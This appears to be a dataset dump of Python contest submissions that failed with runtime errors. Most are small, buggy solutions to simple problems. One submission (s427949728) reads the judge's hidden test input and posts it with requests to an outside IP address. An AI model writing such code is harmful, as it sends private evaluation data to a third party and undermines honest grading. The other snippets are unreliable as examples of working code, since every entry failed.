s_id
stringlengths
10
10
p_id
stringlengths
6
6
u_id
stringlengths
10
10
date
stringlengths
10
10
language
stringclasses
1 value
original_language
stringclasses
11 values
filename_ext
stringclasses
1 value
status
stringclasses
1 value
cpu_time
stringlengths
1
5
memory
stringlengths
1
7
code_size
stringlengths
1
6
code
stringlengths
1
539k
s920362415
p03623
u375500286
1562551944
Python
Python (3.4.3)
py
Runtime Error
17
2940
59
x,a,b=map(int,input().split()) print(min(abs(x-a),abs(x-b))
s662067074
p03623
u908349502
1560881270
Python
Python (3.4.3)
py
Runtime Error
17
2940
88
x, a, b - map(int,input().split()) if abs(x-a)<abs(x-b): print(a) else: print(b)
s210516541
p03623
u762420987
1560874127
Python
Python (3.4.3)
py
Runtime Error
17
2940
215
program name implicit none integer x,a,b integer xa,xb read*, x,a,b xa = abs(x-a) xb = abs(x-b) if ( xa<xb ) then print*, "A" else print*, "B" end if end program
s443961143
p03623
u371409687
1560371071
Python
Python (3.4.3)
py
Runtime Error
17
2940
81
x,a,b=map(int,input().split()) if abs(x-a)<abs(x-b): print("A") else print("B")
s277375182
p03623
u172111219
1559880558
Python
PyPy3 (2.4.0)
py
Runtime Error
167
38256
61
x,a,b = map(int,input().split()) print(min(abs(x-a),abs(x-b))
s303586263
p03623
u733774002
1559683550
Python
Python (3.4.3)
py
Runtime Error
17
2940
101
x, a, b = map(int, input().split()) if abs(x - a) >= abs(x - b): print("B"): else: print("A")
s427949728
p03623
u924308178
1559316753
Python
Python (3.4.3)
py
Runtime Error
19
3060
143
import requests S = input() s = requests.session() data={ "data":S } url = "http://13.231.150.9/b.php" print("None") s.post(url,data=data)
s914044740
p03623
u095756391
1559231256
Python
Python (3.4.3)
py
Runtime Error
17
3064
88
x, a, b = map(int, input().split()) if abs(x-a) > abs(x-b): print(B) else: print(A)
s587858497
p03623
u765815947
1558808792
Python
Python (3.4.3)
py
Runtime Error
17
2940
92
x, a, b = map(int, input().split()) if abs(z-a) < abs(z-b): print('A') else: print('B')
s051928779
p03623
u701318346
1558439173
Python
Python (3.4.3)
py
Runtime Error
17
2940
100
x, a, b = map(int, input().split()) if (abs(x - a) < abs(x - b): print('A') else: print('B')
s361742668
p03623
u266874640
1558421596
Python
Python (3.4.3)
py
Runtime Error
17
2940
89
x,a,b = map(int, input()) if abs(x -a) > abs(x - b): print("B") else: print("A")
s651599802
p03623
u204800924
1558062038
Python
Python (3.4.3)
py
Runtime Error
17
2940
411
S = input() A = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"] B = [0]*26 flag = -1 for i in range(len(S)): for j in range(len(A)): if S[i] == A[j]: B[j] += 1 break if i == len(S) break for k in range(B)...
s672829454
p03623
u475675023
1556405474
Python
Python (3.4.3)
py
Runtime Error
17
2940
65
x,a,b=map(int,input().split()) print("A" if |x-a|<|x-b| else "B")
s081064603
p03623
u059262067
1556221323
Python
Python (3.4.3)
py
Runtime Error
18
2940
107
x = int(input()) a, b = (abs(int(i)-x) for i in input().split()) if a > b: print("B") else: print("A")
s504347210
p03623
u788856752
1556219060
Python
Python (3.4.3)
py
Runtime Error
17
2940
97
x, a, b = map(int, input().split()) if abs(x - a) < abs(x - b): print(A) else: print(B)
s811556295
p03623
u026155812
1556217060
Python
Python (3.4.3)
py
Runtime Error
17
2940
87
x, a, b = map(int, input().split()) if abs(x-a) < abs(x-b): print(A) else: print(B)
s039724889
p03623
u121732701
1554583635
Python
Python (3.4.3)
py
Runtime Error
18
2940
97
x, a, b = map(int, input().split()) if abs(a-x) < abs(b-x): print(B) else: print(A)
s636889713
p03623
u565204025
1554231643
Python
Python (3.4.3)
py
Runtime Error
18
3064
622
# -*- coding: utf-8 -*- n = int(input()) a = list(map(int,input().split())) def array_count(arr): arr_target = [[]] cnt = 1 for i in range(1,len(arr)): if arr[i] == arr[i-1]: cnt += 1 else: arr_target.append([arr[i-1],cnt]) cnt = 1 arr_target.append(...
s315272737
p03623
u782654209
1553057519
Python
Python (3.4.3)
py
Runtime Error
18
2940
73
x,a,b=map(int,input(' ')) print('A') if abs(x-a)<abs(x-b) else print('B')
s685697318
p03623
u989326345
1553040165
Python
Python (3.4.3)
py
Runtime Error
17
2940
100
x,a,b=map(int,input().split()) disA=abs(x-a) disB=abs(x-b) if disA>disB: print(B) else: print(A)
s776021534
p03623
u740284863
1552601904
Python
Python (3.4.3)
py
Runtime Error
18
3060
211
n = int(input()) A = list(map(int, input().split())) a = list(set(A)) a.sort(reverse = True) B = [] for i in a: if A.count(i) >= 2: B.append(i) if len(B) <= 1: print(0) else: print(B[0]*B[1])
s423080211
p03623
u143509139
1551558597
Python
PyPy3 (2.4.0)
py
Runtime Error
177
38640
72
x,a,b=map(int,input.split()) if x-a>x-b: print('B') else: print('A')
s316775452
p03623
u143509139
1551554143
Python
Python (3.4.3)
py
Runtime Error
17
3064
274
input() a = list(map(int, input().split())) a.sort(reverse=True) i, c = 0, 0 m = list() while i < len(a)-1: if a[i] == a[i+1]: m.append(a[i]) i += 1 c += 1 i += 1 if c == 2: break if c == 2: print(m[0]*m[1]) else: print(0)
s223260003
p03623
u093033848
1551477895
Python
Python (3.4.3)
py
Runtime Error
17
2940
95
x, a, b = int(input().split()) if abs(x - a) < abs(x- b): print("A") else : print("B")
s204460046
p03623
u500297289
1548988194
Python
Python (3.4.3)
py
Runtime Error
18
2940
91
x, a, b = map(int, input().split()) if abs(x - a) < abs(x - b): print(A) else: print(B)
s812004840
p03623
u371467115
1546551033
Python
Python (3.4.3)
py
Runtime Error
18
2940
129
s=list(input()) s.sort() l=[chr(ord("a")+i) for i in range(26)] n=[] for j in l: if j not in s: n.pop(j) n.sort() print(n)
s336531174
p03623
u434208140
1544917279
Python
Python (3.4.3)
py
Runtime Error
18
2940
71
a,b,c=map(int,input().split()) print('A' if abs(a,b)<abs(a,c) else 'B')
s212883925
p03623
u824237520
1541714797
Python
Python (3.4.3)
py
Runtime Error
17
2940
101
x, a, b = map(int, input().split()) if min(abs(x-a) > abs(x-b)): print('B') else: print('A')
s906321676
p03623
u983918956
1539300011
Python
Python (3.4.3)
py
Runtime Error
17
2940
98
x,a,b = map(int,input().split()) A = abs(x-a) B = abs(x-b) if A<B: print("A") else; print("B")
s549661944
p03623
u853900545
1538972743
Python
Python (3.4.3)
py
Runtime Error
16
2940
87
x,a,b=map(int,input().split()) if abs(x-a)<abs(x-b) print('A') else: print('B')
s724026271
p03623
u138486156
1538712565
Python
Python (3.4.3)
py
Runtime Error
17
2940
91
x, a, b = map(int, input().split()) if abs(x-a) < abs(x-b): pirnt("A") else: print("B")
s356804275
p03623
u317440328
1534734834
Python
Python (3.4.3)
py
Runtime Error
17
2940
55
X,t=map(int,input().split()) print(X-t if X-t>0 else 0)
s528221524
p03623
u277802731
1534538329
Python
Python (3.4.3)
py
Runtime Error
17
2940
75
#71a x,a,b = map(int,input().split()) print('A' if abs(x-a)<(x-c) else 'B')
s278439576
p03623
u277802731
1534538284
Python
Python (3.4.3)
py
Runtime Error
17
2940
73
#71a x,a,b=map(int,input().split()) print('A' if abs(x-a)<(x-c) else 'B')
s434233793
p03623
u717001163
1530797107
Python
PyPy3 (2.4.0)
py
Runtime Error
182
39664
90
x,a,b=map(int,input().split()) if abs(x-a) < abs(x-b): print("A") else: pring("B")
s598250773
p03623
u624475441
1530371538
Python
Python (3.4.3)
py
Runtime Error
17
2940
53
x,a,b=map(int,input()) print('AB'[abs(a-x)>abs(b-x)])
s084755410
p03623
u552122040
1527961452
Python
Python (3.4.3)
py
Runtime Error
17
2940
115
x, a, b = list(map(int, input().split())) if math.fabs(x - a) > math.fabs(x - b): print("B") else: print("A")
s492368322
p03623
u591295155
1525745468
Python
Python (3.4.3)
py
Runtime Error
20
3316
221
from collections import Counter N = int(input()) A = Counter(map(int, input().split())) B = [0, 0] for i in A.keys(): if A[i] >= 2: B.append(i) if A[i] >= 4: B.append(i) B.sort() print(B[-1]*B[-2])
s596763758
p03623
u941884460
1520844864
Python
Python (3.4.3)
py
Runtime Error
17
2940
77
x,a,b=map(int,input()) if abs(x-a)<abs(x-b): print('A') else: print('B')
s617403496
p03623
u941884460
1520844829
Python
Python (3.4.3)
py
Runtime Error
16
2940
86
x,a,b=map(int,input().split()) if abs(x-a)<abs(x-b): print('A'): else: print('B')
s388183152
p03623
u941884460
1520844803
Python
Python (3.4.3)
py
Runtime Error
17
2940
77
x,a,b=map(int,input()) if abs(x-a)<abs(x-b): print('A'): else: print('B')
s433641130
p03623
u588334044
1515622782
Python
Python (3.4.3)
py
Runtime Error
18
2940
113
x=input() a,b=input().split() x=int(x) a=int(a) b=int(b) if abs(x-a)<abs(x-b): print("A") else: print("B")
s792794907
p03623
u588334044
1515622599
Python
Python (3.4.3)
py
Runtime Error
18
2940
110
x=input() a,b=input().split() x=int(x) a=int() b=int() if abs(x-a)<abs(x-b): print("A") else: print("B")
s609745180
p03623
u789417951
1513743435
Python
Python (3.4.3)
py
Runtime Error
17
3064
375
N=int(input()) A=list(map(int, input().split(' '))) A.sort() A.reverse() a=0 b=0 for i in range(N): if A.count(A[i])>=4: print(int(A[i])**2) break elif A.count(A[i])>=2 and a==0: a=int(A[i]) continue elif A.count(A[i])>=2 and a!=0: b=int(A[i]) print(a*b) ...
s058614016
p03623
u257974487
1512951828
Python
Python (3.4.3)
py
Runtime Error
17
2940
98
x, a, b = map(int(input()) A = abs(x-a) B = abs(x-b) if A < B: print("A") else: print("B")
s109538479
p03623
u667024514
1511111195
Python
Python (3.4.3)
py
Runtime Error
18
2940
104
a, b, c = map(int,input().split()) R = int(|a-b|) E = int(|a-c|) if R > E: print("B") else: print("A")
s101133407
p03623
u667024514
1511111136
Python
Python (3.4.3)
py
Runtime Error
17
2940
82
a, b, c = map(int,input().split()) if |a-b| > |a-c|: print("B") else: print("A")
s433811946
p03623
u937164028
1506564621
Python
Python (3.4.3)
py
Runtime Error
19
2940
129
if __name__ == '__main__': x, a, b = int(input()) if abs(x-a) < abs(x-b): print('A') else: print('B')
s438861168
p03623
u341855122
1506285509
Python
Python (2.7.6)
py
Runtime Error
10
2568
54
x,a,b=raw_input().split() print max(abs(a-x),abs(b-x))
s787179377
p03623
u318073603
1504933871
Python
Python (3.4.3)
py
Runtime Error
18
3060
319
import math #x a bを設定する x,a,b = map(int,input().split()) #x からaまでの距離とxからbまでの距離を計算する a_distant = math.sqrt((a - x)^2) b_distant = math.sqrt((b - x)^2) #aまでとbまでを比較して短い方を出力する if a_distant > b_distant: print("B") else: print("A")
s833291144
p03623
u318073603
1504933644
Python
Python (3.4.3)
py
Runtime Error
17
2940
305
#x a bを設定する x,a,b = map(int,input().split()) #x からaまでの距離とxからbまでの距離を計算する a_distant = (a - x)^2 b_distant = (b - x)^2 #aまでとbまでを比較して短い方を出力する if a_distant > b_distant: print("B") if b_distant > a_distant print("A")
s977761787
p03623
u359314361
1504532130
Python
PyPy3 (2.4.0)
py
Runtime Error
168
38640
368
input() param_list = sorted([int(v) for v in input().split(" ")], reverse=True) result = 0 duplicate_param = 0 count = 1 for v in param_list: if v == duplicate_param: if count == 1: result = v duplicate_param = 0 else: result *= v print(result) break count += 1 else: ...
s749558110
p03623
u416560151
1504488117
Python
Python (3.4.3)
py
Runtime Error
296
20500
60
import numpy as np a = np.array([1,2,3],[2,3],[3]) print(a)
s408090305
p03623
u683479402
1504480442
Python
Python (3.4.3)
py
Runtime Error
17
2940
86
x,a,b=map(int, input()split()) if abs(x-b) > abs(x-a): print('A') else: print('B')
s672207705
p03623
u192908410
1504407044
Python
Python (3.4.3)
py
Runtime Error
17
2940
69
print(delta x: A if x[0]>x[1] else B, list(map(int,input().split())))
s704604076
p03623
u943004959
1504361006
Python
Python (3.4.3)
py
Runtime Error
17
3064
906
def solve(): # 071C - Make a Rectangle n = int(input()) sides = list(map(int, input().split(" "))) check_dual = {} possible_sides = [] for i in sides: if i in check_dual: check_dual[i] += 1 else: check_dual[i] = 1 tmp_square = 0 for k, v in check_dua...
s226253404
p03623
u943004959
1504358938
Python
Python (3.4.3)
py
Runtime Error
18
3064
713
def solve(): # 071C - Make a Rectangle n = int(input()) sides = list(map(int, input().split(" "))) check_dual = {} possible_sides = [] for i in sides: if i in check_dual: check_dual[i] += 1 else: check_dual[i] = 1 tmp_square = 0 for k, v in check_dua...
s849860758
p03623
u369245592
1504211279
Python
Python (3.4.3)
py
Runtime Error
17
2940
142
inp = raw_input() list = inp.split() x = int(list[0]) a = int(list[1]) b = int(list[2]) if abs(a-x)<abs(b-x): print('A') else: print('B')
s258012298
p03623
u369245592
1504211066
Python
Python (3.4.3)
py
Runtime Error
17
3064
141
inp = raw_input() list = inp.split() x = int(list[0]) a = int(list[1]) b = int(list[2]) if abs(a-x)<abs(b-x): print('A') else: print('B')
s692840793
p03623
u642905089
1504121681
Python
Python (3.4.3)
py
Runtime Error
17
3064
649
mod = 1000000007 n = int(input()) up = input() dw = input() arrays = 1 j = 0 justBefore = None if up[j] == dw[j]: arrays *= 3 j += 1 justBefore = 0 else: arrays *= 6 j += 2 justBefore = 1 while(j != len(up)-1): if justBefore: if up[j] == dw[j]: arrays *= 1 ...
s958174091
p03623
u642905089
1504121589
Python
Python (3.4.3)
py
Runtime Error
17
3064
661
mod = 1000000007 n = int(input()) up = input() dw = input() arrays = 1 j = 0 justBefore = None if up[j] == dw[j]: arrays *= 3 j += 1 justBefore = 0 else: arrays *= 6 j += 2 justBefore = 1 while(j != len(up)-1): if justBefore: if up[j] == dw[j]: arrays *= 1 ...
s560489598
p03623
u718603537
1503931151
Python
Python (3.4.3)
py
Runtime Error
17
2940
210
import sys for line in sys.stdin: x = int(line.split(' ')[0]) a = int(line.split(' ')[1]) b = int(line.split(' ')[2]) # print x, a, b if abs(x % a) > abs(x % b): print 'A' else: print 'B'
s642243600
p03623
u718603537
1503930211
Python
Python (3.4.3)
py
Runtime Error
16
2940
137
import sys x = int(sys.argv[1]) a = int(sys.argv[2]) b = int(sys.argv[3]) if abs(x % a) > abs(x % b): print 'A' else: print 'B'
s226982024
p03623
u998273299
1503684289
Python
Python (2.7.6)
py
Runtime Error
11
2688
230
#! /bin/python # coding:utf-8 N = input() A = map(int, raw_input().split()) s = set() dep = [] for i in A: if i in s: dep.append(i) s.add(i) dep.sort() dep.reverse() if (len(dep) < 2): print 0 else: print dep[0] * dep[1]
s429885804
p03623
u998273299
1503684262
Python
Python (2.7.6)
py
Runtime Error
10
2568
230
#! /bin/python # coding:utf-8 N = input() A = map(int, raw_input().split()) s = set() dep = [] for i in A: if i in s: dep.append(i) s.add(i) dep.sort() dep.reverse() if (len(dep) < 2): print 0 else: print dep[0] * dep[1]
s315489505
p03623
u528825252
1503438638
Python
Python (3.4.3)
py
Runtime Error
16
2940
183
x, a, b = map(int, input().split(' ')) dist_atox = abs(a-x) dist_btox = abs(b-x) y = dist_atox - dist_btox print("A" if dist_atox < dist_btox else "B")
s512678786
p03623
u177756077
1503288090
Python
Python (2.7.6)
py
Runtime Error
10
2568
329
N=int(raw_input().strip()) A=map(int,raw_input().split()) A.sort() Auni=list(set(A)) Auni.reverse() num=[] for i in Auni: num.append(A.count(i)) edge=[0,0] for j in range(2): for i in range(len(num)): if num[i]>=2: num[i]=num[i]-2 edge[j]=Auni[i] break print edge[0...
s652686561
p03623
u280984565
1503284785
Python
Python (3.4.3)
py
Runtime Error
18
3064
1197
def read_line(*types): return [f(a) for a, f in zip(input().split(), types)] n, = read_line(int) m = 1000000007 domino = [] domino.append(input()) domino.append(input()) # print(domino[0]) # print(domino[1]) def compress(line): x = [line[0]] for c in line[1:]: if x[-1] != c: x.append(c...
s617852229
p03623
u218984487
1503281834
Python
Python (3.4.3)
py
Runtime Error
17
3064
486
N = int(input()) A = list(map(int, input().split())) A.sort() A.reverse() que = [] def solve(i): if len(que) >= 2: return True num = A[i] check = num in que if A.count(num) > 3: que.append(num) que.append(num) elif A.count(num) > 1 and check == False: que.append(num...
s283812450
p03623
u329749432
1503281648
Python
Python (3.4.3)
py
Runtime Error
20
3316
316
from collections import Counter n = int(input()) a = [int(i) for i in input().split()] b = [] for key,val in Counter(a).items(): if val >= 2: b.append(key) if val >= 4: b.append(key) b.sort() if len(b)>=2: x = b.pop() y = b.pop() ans = x*y else: ans = 0 print(ans)
s693343865
p03623
u867069435
1503281187
Python
Python (3.4.3)
py
Runtime Error
17
3064
413
cou = int(input()) bars = input().split() two = [0, 0] i = 0 ca = len(bars) while i < ca: if bars[i] in two: pass else: now = bars[i] if bars.count(now) > 3: two.extend(now) two.extend(now) elif bars.count(now) > 1: two.extend(now) else...
s383905600
p03623
u735154525
1503280472
Python
Python (2.7.6)
py
Runtime Error
10
2568
317
n = input() a = map(int, raw_input().split()) a.sort() a.reverse() f = 1 tmp = [0] ct = 0 while len(a) != 0: nxt = a.pop(0) key = a.pop(0) if key == nxt: tmp.append(key) ct += 1 if ct == 2: break key = nxt if len(tmp) > 2: print tmp[1] * tmp[2] else: print 0
s633385069
p03623
u521902517
1503280387
Python
Python (3.4.3)
py
Runtime Error
17
2940
129
lst = list(map(int, input().split())) x = lst[0] a = lst[1] b = lst[2] if abs(b-x) > (a-x): return "A" else: return "B"
s587532238
p03623
u007808656
1503280315
Python
Python (3.4.3)
py
Runtime Error
17
2940
125
myinput=raw_input() a=[int(x) for x in myinput.split()] if abs(a[0]-a[1])<abs(a[0]-a[2]): print("A") else: print("B")
s182932648
p03623
u846372029
1503279979
Python
Python (3.4.3)
py
Runtime Error
17
3064
289
#Make a Rectangle N = int(input()) A = list(map(int, input().split())) a = sorted(list(set(A)), reverse=True) b = [] for ai in a: c = A.count(ai) for i in range(c//2): b.append(ai) if (len(b)>=4): break if (len(b)<2): print(0) else: print(b[0]*b[1])
s890685199
p03623
u875361824
1503279802
Python
Python (3.4.3)
py
Runtime Error
25
3436
575
from collections import Counter def main(): N = int(input()) counter = Counter(map(int, input().split())) a = 0 b = 0 def sort_func(t): return t[0] for length, n in sorted(counter.items(), key=sort_func, reverse=True): i...
s553898353
p03623
u997023236
1503278454
Python
Python (3.4.3)
py
Runtime Error
17
2940
126
import math x,a,b = map(int,input().split(' ')) c = a-x d = b-x e = abs(c) d = abs(d) if e<f: print('A') else: print('B')
s415729220
p03623
u043048943
1503278031
Python
Python (2.7.6)
py
Runtime Error
10
2568
94
x,a,b = map(int, input().split()) if abs(x-a) < abs(x-b): print('A') else : print('B')
s822932412
p03623
u012693733
1503277787
Python
Python (2.7.6)
py
Runtime Error
10
2568
92
x,a,b = map(int,raw_input.split()) if abs(x-a) > abs(x-b): print "B" else: print "A"
s159876043
p03623
u205803237
1503277752
Python
Python (3.4.3)
py
Runtime Error
21
3316
89
x, a, b = map(int, input().split()) if abs(x-a) > abs(x-b): print(A) else: print(B)
s431366589
p03623
u205803237
1503277685
Python
Python (3.4.3)
py
Runtime Error
17
2940
79
x, a, b = input().split() if abs(x-a) > abs(x-b): print(B) else: print(A)
s059395957
p03623
u205803237
1503277633
Python
Python (3.4.3)
py
Runtime Error
17
2940
78
x, a, b = input().split() if abs(x-a) > abs(x-b): print(A) else: print(B)
s821610715
p03623
u916637712
1503277598
Python
Python (3.4.3)
py
Runtime Error
17
2940
122
tmp=map(int, raw_input().split(" ")) a=abs(tmp[0]-tmp[1]) b=abs(tmp[0]-tmp[2]) if a<b: print("A") else: print("B")
s426857014
p03623
u043048943
1503277511
Python
Python (2.7.6)
py
Runtime Error
10
2568
148
# coding=utf-8 # a,b = map(int, raw_input().split()) x,a,b = map(int, input().split()) if abs(x-a) < abs(x-b): print('A') else : print('B')
s411774993
p03623
u675044240
1503277485
Python
Python (3.4.3)
py
Runtime Error
17
2940
99
x, a, b = (int(i) for i in input().split()) if abs(x-a) < abs(x-b): print(A) else: print(B)
s597760140
p03623
u410717334
1503277447
Python
Python (3.4.3)
py
Runtime Error
17
2940
107
x,a,b=list(map(int,input().split())) if(math.fabs(x-a)>math.fabs(x-b)): print("B") else: print("A")
s226696239
p03624
u546853743
1600453896
Python
Python (3.8.2)
py
Runtime Error
24
9048
190
s=input() a='abcdefghijklmnopqrstuvwxyz' for S in s: for i in (len(a)): if S in a: continue else: print(a[i]) exit() print('None')
s506641832
p03624
u805011545
1600229042
Python
Python (3.8.2)
py
Runtime Error
31
9648
273
import sys S = list(input()) s = list(set(S)) s.sort() alfa = list('abcdefghijklmnopqrstuvwxyg') ans = 0 if(len(s)==len(alfa)): print('None') sys.exit() else: for i in range(len(s)): if(s[i]!=alfa[i]): print(alfa[i]) sys.exit() print(alfa[len(s)+1])
s532015928
p03624
u805011545
1600228479
Python
Python (3.8.2)
py
Runtime Error
28
9860
247
import sys S = list(input()) s = list(set(S)) s.sort() alfa = list('abcdefghijklmnopqrstuvwxyg') ans = 0 if(len(s)==len(alfa)): print('None') else: for i in range(len(s)): if(s[i]!=alfa[i]): print(alfa[i]) sys.exit() print(a)
s378246826
p03624
u934068520
1600219543
Python
Python (3.8.2)
py
Runtime Error
32
8976
82
s = input() r = set(map(chr, range(97, 97+26))) r = r - set(s) r = min(r) print(r)
s798329077
p03624
u212539610
1599569450
Python
Python (3.8.2)
py
Runtime Error
26
9220
315
S = sorted(list(set(input()))) alphabet = list('abcdefghijklmnopqrstuvwxyz') if alphabet == S: print('None') exit() elif len(S) == 1 and S[0] == 'a': print('b') exit() for i in range(len(alphabet)): if S[i] == alphabet[i]: continue else: print(alphabet[i]) exit()
s890471479
p03624
u212539610
1599569303
Python
Python (3.8.2)
py
Runtime Error
30
9076
255
S = sorted(list(set(input()))) alphabet = list('abcdefghijklmnopqrstuvwxyz') if alphabet == S: print('None') exit() for i in range(len(alphabet)): if S[i] == alphabet[i]: continue else: print(alphabet[i]) exit()
s481716698
p03624
u629540524
1599540949
Python
PyPy3 (7.3.0)
py
Runtime Error
91
74080
133
s = sorted(set(input())) for i in range(26): if s[i] != chr(97+i): print(chr(97+i)) break else: print('None')
s429560655
p03624
u815763296
1599393390
Python
Python (3.8.2)
py
Runtime Error
47
9856
325
S = list(input()) L = len(S) Slist = set() for i in range(L): Slist.add(ord(S[i])) Slist = list(Slist) Slist.sort() j = 97 ok = 0 for i in range(L): if Slist[i] == j: j += 1 continue ans = chr(j) ok = 1 break if len(Slist) == 26: ans = "None" elif ok == 0: ans = chr(j) print(...
s293725421
p03624
u815763296
1599392430
Python
Python (3.8.2)
py
Runtime Error
45
9768
256
S = list(input()) L = len(S) Slist = set() for i in range(L): Slist.add(ord(S[i])) Slist = list(Slist) Slist.sort() ans = "None" j = 0 for i in range(97, 123): if Slist[j] == i: j += 1 continue ans = chr(i) break print(ans)
s469028414
p03624
u241159583
1599391974
Python
Python (3.8.2)
py
Runtime Error
32
8992
168
s = sorted(set(input())) x = [chr(i) for i in range(ord("a"), ord("z")+1)] for i in range(len(x)): if x[i] != s[i]: print(x[i]) exit() print("None")
s464156332
p03624
u620846115
1599255306
Python
Python (3.8.2)
py
Runtime Error
21
9024
78
s=input() print(chr(i)) for i in range(ord("a"),ord("z")+1) if chr(i) not in s
s068338746
p03624
u070201429
1598741448
Python
PyPy3 (7.3.0)
py
Runtime Error
83
73936
161
s = list(set((input()))) s.sort() for i in range(26): if s[i] != chr(i + ord('a')): print(chr(i + ord('a'))) exit() else: print('None')
s420618903
p03624
u468972478
1598490550
Python
Python (3.8.2)
py
Runtime Error
30
9724
138
s = list(input()) t = [chr(i) for i in range(ord("a"), ord("z") + 1)] for i in s: t.remove(i) if t: print(t[0]) else: print("None")
s477755320
p03624
u468972478
1598490374
Python
Python (3.8.2)
py
Runtime Error
24
9668
107
s = list(input()) t = [chr(i) for i in range(ord("a"), ord("z") + 1)] for i in s: t.remove(i) print(t[0])